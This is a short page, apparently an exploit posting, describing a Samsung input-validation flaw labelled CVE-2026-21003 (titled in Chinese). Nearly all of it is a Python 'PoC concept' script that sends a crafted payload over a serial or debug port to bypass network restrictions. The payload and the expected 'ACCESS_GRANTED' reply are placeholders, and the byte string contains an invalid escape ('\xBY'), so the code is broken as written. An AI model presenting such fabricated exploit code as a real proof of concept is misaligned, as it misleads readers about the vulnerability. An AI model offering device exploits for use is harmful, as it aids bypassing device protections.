CVE-2026-21003 三星设备输入验证不当漏洞

# PoC Concept for CVE-2026-21003: Network Restriction Bypass # This script demonstrates the concept of bypassing network restrictions # by injecting malformed data via a physical interface (e.g., debug port). import serial def exploit(target_device): try: # Initialize physical connection (e.g., Serial/USB) ser = serial.Serial(target_device, baudrate=115200, timeout=1) # Malformed payload to bypass network restriction checks # The input validation fails to sanitize this specific sequence payload = b"\x00\x01\xFF\xA5\xBYPASS_NET_RESTRICTION\x00" print(f"[*] Sending payload to {target_device}...") ser.write(payload) # Receive response response = ser.read(1024) if b"ACCESS_GRANTED" in response: print("[+] Network restrictions bypassed successfully!") else: print("[-] Exploit failed or device patched.") except Exception as e: print(f"Error: {e}") finally: ser.close() if __name__ == "__main__": # Replace with actual device identifier exploit("/dev/ttyUSB0")